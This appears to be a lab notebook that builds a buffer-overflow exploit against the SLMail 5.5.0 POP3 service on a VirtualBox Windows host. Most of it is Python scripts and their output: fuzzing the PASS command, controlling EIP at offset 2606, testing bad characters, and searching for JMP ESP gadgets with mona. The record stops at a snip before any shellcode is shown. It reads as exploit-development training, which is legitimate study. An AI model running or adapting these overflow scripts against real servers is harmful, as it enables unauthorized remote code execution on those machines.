SLMail-5.5.0

Install SLMail-5.5.0

```
TEST CONNECTION --
17:22:52 cdowns@7242-alpha-reticuli SLMail-5.5.0 sudo nmap -sV -A 192.168.0.166 -p 110,25
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-19 19:02 GMT
Nmap scan report for 192.168.0.166
Host is up (0.00051s latency).

PORT    STATE SERVICE VERSION
25/tcp  open  smtp    SLmail smtpd 5.5.0.4433
| smtp-commands: MSEDGEWIN10, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN,
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT
110/tcp open  pop3    BVRP Software SLMAIL pop3d
MAC Address: 08:00:27:6D:16:00 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Longhorn (95%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008
R2 (93%), Microsoft Windows 8.1 Update 1 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 1511 (92%),
Microsoft Windows 7 Enterprise SP1 (92%), Microsoft Windows 7 SP1 (92%), Microsoft Windows 8 (92%), Microsoft Windows
Server 2008 SP2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms 192.168.0.166

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.39 seconds
19:03:14 cdowns@7242-alpha-reticuli SLMail-5.5.0


NETCAT --

19:03:14 cdowns@7242-alpha-reticuli SLMail-5.5.0 nc 192.168.0.166 110
+OK POP3 server MSEDGEWIN10 ready <00006.125781@MSEDGEWIN10>
USER test
+OK test welcome here
PASS test
-ERR unable to lock mailbox
^C
19:03:41 cdowns@7242-alpha-reticuli
SLMail-5.5.0
130 ↵
```

Download Binary --

```
cdowns@7242-alpha-reticuli:/tmp$ wget -c https://www.exploit-db.com/apps/12f1ab027e5374587e7e998c00682c5d-
SLMail55_4433.exe
--2019-05-19 17:48:00--  https://www.exploit-db.com/apps/12f1ab027e5374587e7e998c00682c5d-SLMail55_4433.exe
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9266237 (8.8M) [application/x-msdos-program]
Saving to: ‘12f1ab027e5374587e7e998c00682c5d-SLMail55_4433.exe’

12f1ab027e5374587e7e998c00682c5d-SLMail 100%
[===============================================================================>]   8.84M  14.0MB/s    in 0.6s

2019-05-19 17:48:01 (14.0 MB/s) - ‘12f1ab027e5374587e7e998c00682c5d-SLMail55_4433.exe’ saved [9266237/9266237]

cdowns@7242-alpha-reticuli:/tmp$
```

conn_test --

```
SCRIPT --

#!/usr/bin/env python
```

```
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print"\nSending pwnicorns and rainbows..."
    s.connect(('192.168.0.166', 110))
    data = s.recv(1024)

    s.send('USER legitness ' + '\r\n')
    data = s.recv(1024)

    s.send('PASS 2legit2quit' + '\r\n')
    data = s.recv(1024)

    s.close()
    print"\nDone! Wonder if we got that shell back?"

except:
    print "Could not connect to POP3 for some reason..."
```

ALL GOOD --

conn_fuzz --

SCRIPT --

```
#!/usr/bin/env python

import socket

# Create an array of buffers, from 1 to 5900, with increments of 200.
buffer=["A"]
counter=100

while len(buffer) <= 30:
              buffer.append("A"*counter)
              counter=counter+200

for string in buffer:
              print "Fuzzing PASS with %s bytes" % len(string)
              s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              connect = s.connect(('192.168.0.166',110))
              s.recv(1024)

              s.send('USER test\r\n')
              s.recv(1024)

              s.send('PASS ' + string + '\r\n')
              s.send('QUIT\r\n')

              s.close()
```

EXEC --

```
19:39:01 cdowns@7242-alpha-reticuli SLMail-5.5.0 python
conn_fuzzer.py
Fuzzing PASS with 1
bytes
Fuzzing PASS with 100
bytes
Fuzzing PASS with 300
bytes
Fuzzing PASS with 500
bytes
Fuzzing PASS with 700
bytes
Fuzzing PASS with 900
bytes
Fuzzing PASS with 1100
bytes
Fuzzing PASS with 1300
bytes
Fuzzing PASS with 1500
bytes
Fuzzing PASS with 1700
```

```
bytes
Fuzzing PASS with 1900
bytes
Fuzzing PASS with 2100
bytes
Fuzzing PASS with 2300
bytes
Fuzzing PASS with 2500
bytes
Fuzzing PASS with 2700
bytes
Fuzzing PASS with 2900 bytes

REGISTER @ CRASH --

EAX 00000000
ECX 02C39EBC ASCII "19/05/19 12:41:31 P3-000f: Illegal command
0(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDX 00000001
EBX 00000004
ESP 02C3A120 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) in
state 5"
EBP 41414141
ESI 00000000
EDI 00000001
EIP 41414141
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 3E9000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
```

conn_eip_control --

```
SCRIPT --

#!/usr/bin/env python

import socket

# payload --
#buffer = "A" * 2600 + "B" * 100
buffer = "A"*2600 + "B"*50 + "C"*50

# here we go --
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(('192.168.0.166',110))
    data = s.recv(1024)

    s.send('USER dirtbag' + '\r\n')
    data = s.recv(1024)

    s.send('PASS ' + buffer + '\r\n')
    data = s.recv(1024)
    s.close()

    # out --
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to POP3 for some reason..."
```

REGISTERS --

```
EAX 00000000
ECX 02739EBC ASCII "19/05/19 13:13:26 P3-0001: Illegal command
0(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDX 00000001
EBX 00000004
ESP 0273A120 ASCII "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC) in
state 5"
EBP 42424242
ESI 00000000
EDI 00000001
EIP 42424242
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 20E000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
```

create pattern --

```
20:15:36 cdowns@7242-alpha-reticuli SLMail-5.5.0 msf-pattern_create -l 2700 >> pattern.txt
20:15:45 cdowns@7242-alpha-reticuli SLMail-5.5.0

20:16:41 cdowns@7242-alpha-reticuli SLMail-5.5.0 cat pattern.txt | fold -w
64                                                                                                                 1 ↵
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7
Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A
o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1
At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax
4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5
Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B
b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd
8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B
i1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk
2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3
Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4B
o5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq
6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7
Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8B
u9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx
0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1
Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C
b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd
4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5
Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6C
h7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj
8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9
Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0C
o1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq
2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3
Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4C
u5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw
```

```
6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7
Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8D
a9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd
0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1
Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2D
h3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj
4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5
Dl6Dl7Dl8Dl9
20:16:47 cdowns@7242-alpha-reticuli SLMail-5.5.0
```

conn_eip_pattern

SCRIPT --

```
#!/usr/bin/env python

import socket

# payload --
#buffer = 'A' * 2600 + 'B' * 100
#buffer = 'A'*2600 + 'B'*50 + 'C'*50

# update payload for !mona pattern--
# msf-pattern_create -l 2700 >> pattern.txt
buffer = ''
buffer += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A'
buffer += 'c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae'
buffer += '2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3'
buffer += 'Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A'
buffer += 'i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak'
buffer += '6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7'
buffer += 'Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A'
buffer += 'o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar'
buffer += '0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1'
buffer += 'At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A'
buffer += 'v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax'
buffer += '4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5'
buffer += 'Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B'
buffer += 'b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd'
buffer += '8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9'
buffer += 'Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B'
buffer += 'i1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk'
buffer += '2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3'
buffer += 'Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4B'
buffer += 'o5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq'
buffer += '6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7'
buffer += 'Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8B'
buffer += 'u9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx'
buffer += '0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1'
buffer += 'Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C'
buffer += 'b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd'
buffer += '4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5'
buffer += 'Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6C'
buffer += 'h7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj'
buffer += '8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9'
buffer += 'Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0C'
buffer += 'o1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq'
buffer += '2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3'
buffer += 'Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4C'
buffer += 'u5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw'
buffer += '6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7'
buffer += 'Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8D'
buffer += 'a9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd'
buffer += '0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1'
buffer += 'Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2D'
buffer += 'h3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj'
buffer += '4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5'
buffer += 'Dl6Dl7Dl8Dl9'

# here we go --
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(('192.168.0.166',110))
    data = s.recv(1024)

    s.send('USER dirtbag' + '\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    data = s.recv(1024)
    s.close()

    # out --
    print '\nDone! Wonder if we got that shell back?'
except:
    print 'Could not connect to POP3 for some reason...'
```

```
REGISTERS --

EAX 00000000
ECX 02739EBC ASCII "19/05/19 14:10:47 P3-0001: Illegal command
0(Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0C
EDX 00000001
EBX 00000004
ESP 0273A120 ASCII "Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9) in
state 5"
EBP 69443769
ESI 00000000
EDI 00000001
EIP 39694438
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 3FB000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
```

pattern offset --

```
MSF --

21:15:15 cdowns@7242-alpha-reticuli 051820191 master msf-pattern_offset -l 2700 -q 39694438
[*] Exact match at offset 2606
21:15:50 cdowns@7242-alpha-reticuli 051820191 master

!MONA --

[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x01da10e7 (length 2700 bytes)
    EIP contains normal pattern : 0x39694438 (offset 2606)
    ESP (0x0273a120) points at offset 2610 in normal pattern (length 90)
    EBP contains normal pattern : 0x69443769 (offset 2602)
```

conn_confirm_offets

```
SCRIPT --

#!/usr/bin/env python

import socket

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.166',110))
```

```
# buffer --
b_totlen = 2700 # payload len
e_offset = 2606 # eip

# test offsets --
buf = ""
buf += "A"*(e_offset - len(buf))
buf += "B"*4
buf += "C"*4
buf += "D"*(b_totlen - len(buf))

# here we go --
s.send('USER dirtbag' + '\r\n')
data = s.recv(1024)

s.send('PASS ' + buf + '\r\n')
data = s.recv(1024)
s.close()
```

```
REGISTERS --

EAX 00000000
ECX 008A9EBC ASCII "19/05/19 14:33:10 P3-0001: Illegal command
0(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDX 00000001
EBX 00000004
ESP 008AA120 ASCII "CCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD) in
state 5"
EBP 41414141
ESI 00000000
EDI 00000001
EIP 42424242
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 37F000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
```

conn_confirm_badchars --

```
SCRIPT --

#!/usr/bin/env python

import socket

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.166',110))

# bad chars --
# \x90 NOP / \x0A "\n "/ \x0D "\r ""
# ref --
# http://donsnotes.com/tech/charsets/ascii.html
badchar_test = ""
badchars = [0x00, 0x0A, 0x0D]
# generate sting --
for i in range(0x00, 0xFF+1): # range (0x00, 0xFF) only returns up to 0xFE
              if i not in badchars: # skip bad chars
                            badchar_test += chr(i) # append each NON-BAD char into a string
```

```
# open file for writing
# !mona compare -a esp -f C:\Users\IEUser\Downloads\badchar_test.bin
with open("badchar_test.bin", "wb") as f:
              f.write(badchar_test)

# buffer --
# msf-pattern_offset -l 2700 -q 39694438
# [*] Exact match at offset 2606
b_totlen = 2700 # payload len
e_offset = 2606 # eip

# test offsets --
buf = ""
buf += "A"*(e_offset - len(buf))
buf += "B"*4
buf += badchar_test # esp
buf += "D"*(b_totlen - len(buf))

# here we go --
s.send('USER dirtbag' + '\r\n')
data = s.recv(1024)

s.send('PASS ' + buf + '\r\n')
data = s.recv(1024)
s.close()

BADCHARS_TEST.BIN --

22:21:21 cdowns@7242-alpha-reticuli SLMail-5.5.0 strings
badchar_test.bin
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}
~
22:21:33 cdowns@7242-alpha-reticuli SLMail-5.5.0
```

mona compare --

```
COMPARE BADCHARS --

!mona compare -a esp -f c:\Users\IEUser\Downloads\badchar_test.bin

mona Memory comparison results, item 0
 Address=0x025fa120
 Status=Unmodified
 BadChars=
 Type=normal
 Location=Stack

CHECK JMP ESP GAGETS --

!mona jmp -r esp -cpb "\x00\x0A\x0D"

================================================================================
  Output generated by mona.py v2.0, rev 585 - Immunity Debugger
  Corelan Team - https://www.corelan.be
================================================================================
  OS : 10, release 10.0.17134
  Process being debugged : SLmail (pid 912)
  Current mona arguments: jmp -r esp -cpb "\x00\x0A\x0D"
================================================================================
  2019-05-19 15:26:46
================================================================================
-----------------------------------------------------------------------------------------------------------------------------
 Module info :
-----------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------
----- snip ------
